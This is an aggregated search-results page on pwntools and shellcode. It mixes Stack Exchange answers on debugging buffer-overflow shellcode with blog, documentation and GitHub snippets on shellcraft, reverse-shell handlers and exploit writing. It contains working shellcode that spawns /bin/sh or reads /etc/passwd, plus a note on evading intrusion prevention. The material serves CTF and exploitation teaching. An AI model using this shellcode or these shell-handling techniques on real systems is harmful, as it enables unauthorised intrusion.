If you change your process startup to

p = process(["strace", "-o", "strace.out", "./bof"])

and check the resulting strace.out file, you will see:

close(0)                                = 0
open("/dev/tty", O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|FASYNC) = 0
execve("/bin/sh", NULL, NULL)           = 0
...
read(0, 0x55ae7a6d5aa0, 8192)           = -1 EIO (Input/output error)

So this has to do with shellcode reopening stdin as /dev/tty.

Let's check the doc:

stdin (int) – File object or file descriptor number to use for stdin.
By default, a pipe is used. A pty can be used instead by setting this
to PTY. This will cause programs to behave in an interactive manner
(e.g.., python will show a >>> prompt). If the application reads from
/dev/tty directly, use a pty.

and do as it says:

p = process("./bof", stdin=PTY)

Voila!

[*] Switching to interactive mode
Type in your name:  $ id -u
1000
Answer from mephi42 on Stack Exchange
🌐
Boredhackerblog
boredhackerblog.info › 2018 › 12 › using-pwntools-for-reverse-shell.html
boredhackerblog: Using pwntools for reverse shell handling and automation
December 28, 2018 - Introduction: I've been working with machines on HackTheBox and VM's from Vulnhub for a while. I got annoyed of typing commands again and again. I decided to use pwntools (Python library that provides a lot of functions for CTF and exploit dev usage, https://github.com/Gallopsled/pwntools) for handling reverse shell and sending commands.
🌐
GitHub
github.com › samirettali › reverse-shell-helper
GitHub - samirettali/reverse-shell-helper: A script to help you automate reverse shell first operations
A script to help you automate reverse shell tasks. It can run a script as soon as the connection happens or add a key to the authorized_keys file. It uses pwntools to handle the reverse shell.
Author   samirettali
🌐
Pwncat
pwncat.org
pwncat - reverse shell handler with all netcat features
Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port.
Top answer
1 of 2
2

This is a relatively old question, but I recently stumbled across the same problem myself. In the interest of the greater good, I will explain what is going on.

It is likely that the structure of your payload (the entire sequence of bytes you send to the process) is something like this:

PADDING + SHELLCODE + RETURN_ADDRESS

Sadly, this does not work well with pwntools' shellcode. The reason is that the push instructions modify the stack, where your shellcode is. This means that the shellcode is (unintentionally) mutated to something else, and of course shenanigans ensue.

The solution is to add some padding after the shellcode. Because the stack grows to lesser addresses, push instructions will first overwrite the data in the greater address locations.

PADDING + SHELLCODE + **MORE_PADDING** + RETURN_ADDRESS

For me, MORE_PADDING of 32 bytes worked nicely. Do not forget to reduce the size of the original PADDING appropriately so that the return address is correctly overwritten.

2 of 2
0

When encountering such issue, you should keep debugging. After breaking on the payload you can notice GDB is showing these instructions (as Intel flavor disassembly):

push   0x68
push   0x732f2f2f
push   0x6e69622f
mov    ebx,esp
push   0x1010101
xor    DWORD PTR [ecx+eax*1],0x51c93101
push   0x4

This XOR instruction is suspicious since it is using eax and ecx while they've not been initiliazed by our shellcode. I checked against what pwnlib instructions suggest for this shellcode:

shellcraft.i386.linux.sh()
/* ... */
xor dword ptr [esp], 0x1016972
/* ... */

Then, you're still getting a SEGFAULT because the instruction is wrong, and dereferencing some incorrect values.

Also the second shellcode you're providing can be retrieved with shellcraft.execve('/bin/sh').


EDIT

The issue is not from pwntools but must be linked to the way the payload is used. The bad instruction identified above contains a '$' character which is then (if you still use your $(python -c '...') input) interpreted by the subshell invoked as the variable name '$ri'.

This variable is likely not defined in your shell which in turn makes these 3 characters to be deleted from the input given to the program, hence, modifying operands of this instruction and the instruction following it.

In order to make it right, you may sanitize the input by bringing whatever is required. For example :

asm(shellcraft.i386.linux.sh()).replace('')

I suppose it is the issue you got, but can't be sure without more information.

🌐
Arch Cloud Labs
archcloudlabs.com › projects › pwntools-shellcraft
Pwntools 102 - Crafting Shellcode with Shellcraft · Arch Cloud Labs
September 18, 2023 - Following up from Arch Cloud Labs’ previous blog post on Pwntools, we’ll continue to explore the pwntools framework this time focusing on shellcode generation. It’s not uncommon in the world of pwn/reverse engineering challenges for a requirement of the challenge to be to execute shellcode.
🌐
GitHub
github.com › topics › pwntools
pwntools · GitHub Topics · GitHub
March 2, 2020 - python automation ctf pwntools binary-exploitation ... Cross-architecture Pwn setup: x86_64 debugging & CTF environment on Apple Silicon (M1, M2, M3, M4...) via Colima · mac reverse-engineering gdb linux-shell pwn pwntools binary-exploitation ctf-tools apple-silicon colima
🌐
Gts3
tc.gts3.org › cs6265 › 2019 › tut › tut03-02-pwntools.html
Tut03-2: Writing Exploits with Pwntools - CS6265: Information Security Lab
Our plan is to invoke a shell by hijacking this control flow. Before doing this, let's check what kinds of security mechanisms are applied to that binary. $ checksec ./crackme0x00 [*] '/home/lab03/tut03-pwntool/crackme0x00' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
Find elsewhere
🌐
Corgi
corgi.rip › posts › pwntools-cheatsheet
Yet Another Pwntools Cheatsheet | .
April 4, 2024 - # sometimes you'll need to send stuff the same way it's represented in memory x = p64(8) # how '8' would look as a 64-bit int print(x) # b"\x08\x00\x00\x00\x00\x00\x00\x00" x = p32(8) # how '8' would look as a 32-bit int print(x) # b"\x08\x00\x00\x00" (p16 and p8 also exist if needed) x = u64(b"\x08\x00\x00\x00\x00\x00\x00\x00") # reverse of p64() print(x) # 8 (u32, u16, and u8 also exist) # pwntools can extract a bunch of info from executables # this is very helpful for ROP chains and the like exe = ELF("./test_program") # let's say the program looks like the following: """ #include <stdio.h>
🌐
GitHub
github.com › Gallopsled › pwntools-tutorial
GitHub - Gallopsled/pwntools-tutorial: Tutorials for getting started with Pwntools · GitHub
This repository contains some basic tutorials for getting started with pwntools (and pwntools). These tutorials do not make any effort to explain reverse engineering or exploitation primitives, but assume this knowledge.
Starred by 1.6K users
Forked by 261 users
Languages   Jupyter Notebook 84.9% | Python 12.9% | C 1.6% | Makefile 0.6%
🌐
YouTube
youtube.com › watch
5: Injecting Shellcode (Shellcraft/MSFVenom) - Buffer Overflows - Intro to Binary Exploitation (Pwn) - YouTube
5th video from the "Practical Buffer Overflow Exploitation" course covering the basics of Binary Exploitation. In this video we'll see what we can do with bu...
Published   March 10, 2022
🌐
Medium
medium.com › @benkomoni › generating-shellcodes-on-the-fly-with-pwntools-6fb0cafe4174
Generating shellcode’s on the fly with pwntools | by Ben Komoni | Medium
March 30, 2022 - >>> print shellcraft.execve(path=”/bin/cat”, argv=[“/bin/cat”, “/etc/passwd”]) /* execve(path=’/bin/cat’, argv=[‘/bin/cat’, ‘/etc/passwd’], envp=0) */ /* push ‘/bin/cat\x00’ */ push 1 dec byte ptr [rsp] mov rax, 0x7461632f6e69622f push rax mov rdi, rsp /* push argument array [‘/bin/cat\x00’, ‘/etc/passwd\x00’] */ /* push ‘/bin/cat\x00/etc/passwd\x00’ */ push 0x64777373 mov rax, 0x101010101010101 push rax mov rax, 0x101010101010101 ^ 0x61702f6374652f00 xor [rsp], rax mov rax, 0x7461632f6e69622f push rax xor esi, esi /* 0 */ push rsi /* null terminate */ push 0x11 pop rsi add rsi, rsp push rsi /* ‘/etc/passwd\x00’ */ push 0x10 pop rsi add rsi, rsp push rsi /* ‘/bin/cat\x00’ */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax syscall
🌐
pwntools
docs.pwntools.com › en › stable › intro.html
Getting Started — pwntools 4.15.0 documentation
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) >>> shell['whoami'] b'bandit0' >>> shell.download_file('/etc/motd') >>> sh = shell.run('sh') >>> sh.sendline(b'sleep 3; echo hello world;') >>> sh.recvline(timeout=1) b'' >>> sh.recvline(timeout=5) b'hello world\n' >>> shell.close() A common task for exploit-writing is converting between integers as Python sees them, and their representation as a sequence of bytes. Usually folks resort to the built-in struct module. pwntools makes this easier with pwnlib.util.packing.
🌐
GitHub
github.com › stephen-fox › reversing-notes › blob › main › pwntools.md
reversing-notes/pwntools.md at main · stephen-fox/reversing-notes
mkdir foo cd foo python3 -m venv bar source bar/bin/activate pip3 install pwntools pip freeze > requirements.txt vi foo.py
Author   stephen-fox
🌐
Gitbook
es7evam.gitbook.io › security-studies › exploitation › sockets › 03-connections-with-pwntools
Connections with pwntools | Security Studies
In most of the pwning challenges in CTF the binary is hosted remotely, so we connect to it using netcat, sockets or pwntools.
🌐
HackTricks
book.hacktricks.xyz › reversing-and-exploiting › tools › pwntools
Page not found - HackTricks
This URL is invalid, sorry. Please use the navigation bar or search to continue
🌐
pwntools
docs.pwntools.com › en › stable
pwntools — pwntools 4.15.0 documentation
pwn shellcraft · pwn template · pwn unhex · pwn update · pwn version · Each of the pwntools modules is documented here. pwnlib.adb — Android Debug Bridge · pwnlib.args — Magic Command-Line Arguments · pwnlib.asm — Assembler functions · pwnlib.atexception — Callbacks on unhandled exception ·
🌐
GitHub
github.com › masthoon › pwintools
GitHub - masthoon/pwintools: Basic pwntools for Windows · GitHub
from pwintools import * DEBUG = True if DEBUG: r = Process("chall.exe") # Spawn chall.exe process r.spawn_debugger(breakin=False) log.info("WinExec @ 0x{:x}".format(r.symbols['kernel32.dll']['WinExec'])) else: r = Remote("challenge.remote.service", 8080) r.sendline('ID123456789') # send / write if r.recvline().strip() == 'GOOD': # recv / read / recvn / recvall / recvuntil log.success('Woot password accepted!') r.send(shellcraft.amd64.WinExec('cmd.exe')) else: log.failure('Bad password') log.info('Starting interactive mode ...') r.interactive() # interactive2 for Remote available
Starred by 268 users
Forked by 27 users
Languages   Python 93.5% | Batchfile 5.8% | C++ 0.7%